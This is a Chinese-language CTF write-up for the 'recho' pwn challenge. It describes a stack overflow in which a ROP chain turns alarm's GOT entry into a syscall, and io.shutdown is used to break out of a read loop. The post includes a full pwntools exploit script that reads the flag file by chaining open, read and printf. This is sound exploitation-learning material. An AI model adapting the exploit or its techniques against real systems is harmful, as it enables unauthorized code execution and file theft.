攻防世界-recho

前言

一个有意思的溢出题,关键在于如何跳出循环ROP,是我没见过的船新版本,呜呜呜。

前置知识

寻找syscall

open、write、read、alarm这些都是系统调用,其汇编代码中是有syscall的,例如alarm_got + 5 = syscall

拼出open

给eax传系统调用号+寄存器pop传参+syscall = open(xxx)

注意: 函数的系统调用号可以在终端用命令跑出来:

1
2
3
4
#32位:
cat /usr/include/asm/unistd_32.h | grep alarm
#64位:
cat /usr/include/asm/unistd_64.h | grep alarm

结束死循环

pwntools自带关闭流的函数: io.shutdown( ['in', 'out', 'read', 'recv', 'send', 'write']),🛫️

注意:这个关闭流之后就没法在打开了,也就是说,我们无法走先泄漏真实地址再返回主函数故技重施的路子了,这里是直接一次ROP到底。

题目信息

首先,万年不变的起手checksec,没PIE没canary,针不戳:

checksec

然后,IDA64分析代码:

ida

整个程序看下来,首先获取一个size,然后atoi()转成数字,在根据size大小获取输入,存入buf中。

这里显然存在一个栈溢出漏洞,问题在于我们第一次输入的size大于零,while就是死循环,我们如果不能结束循环就无法执行我们构造的ROP,幸好pwntools为我们提供了一个这样的函数:

1
2
3
4
5
6
7
8
9
def shutdown(self, direction = "send"):
"""shutdown(direction = "send")
Closes the tube for futher reading or writing depending on `direction`.
Arguments:
direction(str): Which direction to close; "in", "read" or "recv"
closes the tube in the ingoing direction, "out", "write" or "send"
closes it in the outgoing direction.
Returns:
:const:`None`

接下来就是如何在一次ROP中获取flag,使用之前的暴露地址的方法是没法完成了,这里我们通过open来读取flag文件并打印出来。

我们想要实现的代码应该是这样的:

1
2
3
int fd = open("flag",READONLY);  
read(fd,buf,100);
printf(buf);

那么构造思路如下:

  1. 想办法调用open,这里事先没有open,通过alarm_got+5得到syscall,然后给eax传open的系统调用号即可
  2. read,buf存到bss段(因为这里可读可写,gdb中用vmmap可以查看各个段的RWX情况)
  3. printf打印buf
  4. io.shundown(‘send’)

注意:

  • 这里有一条关键gadgets:add_rdi_al_ret,rdi里放alarm_got,al (即eax) 放5,使得alarm函数got表里的地址变成syscall
  • bss段在ida里看到的是从0x601060开始,但实际上用这个地址会读出奇怪的东西,改成0x601070或者更大就没问题
  • io.shutdown()里面的参数得是['in', 'out', 'read', 'recv', 'send', 'write']中的一个

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

io = remote('220.249.52.133', 32168)
elf = ELF('./recho')

flag_str = next(elf.search(b'flag'))
bss = 0x601070
pop_rax_ret = 0x4006fc
pop_rdi_ret = 0x4008a3
pop_rsi_r15_ret = 0x4008a1
pop_rdx_ret = 0x4006fe
add_rdi_al_ret = 0x40070d

alarm_got = elf.got['alarm']
alarm_plt = elf.plt['alarm']
read_plt = elf.plt['read']
printf_plt = elf.plt['printf']

io.sendlineafter(b'server!\n', str(0x200))

# 这里是改变alarm的got表中的地址为syscall
payload = cyclic(0x38)+p64(pop_rdi_ret)+p64(alarm_got)+p64(pop_rax_ret)+p64(0x5)+p64(add_rdi_al_ret)

# int fd = open("flag",READONLY);
payload += p64(pop_rdi_ret)+p64(flag_str)+p64(pop_rsi_r15_ret)+p64(0)+p64(0)+p64(pop_rax_ret)+p64(2)+p64(alarm_plt)

# read(fd,buf,100);
payload += p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_r15_ret)+p64(bss)+p64(0)+p64(pop_rdx_ret)+p64(0x30)+p64(read_plt)

# printf(buf);
payload += p64(pop_rdi_ret)+p64(bss)+p64(printf_plt)

# 尽量使字符串长,这样才能将我们的payload全部输进去,不然可能因为会有缓存的问题导致覆盖不完整,eax
payload = payload.ljust(0x200,b'\x00')

io.sendline(payload)
io.shutdown('send')
io.interactive()

总结

嗯,这题学到不少新东西。

首先是用io.shutdown(“send”)可以关闭流达到远程调试退出死循环的目的,然后是通过找gadgets可以利用已有的系统调用找出syscall,拼凑出未被导入的系统调用,还有就是open->read->printf这个读flag的方法。

0%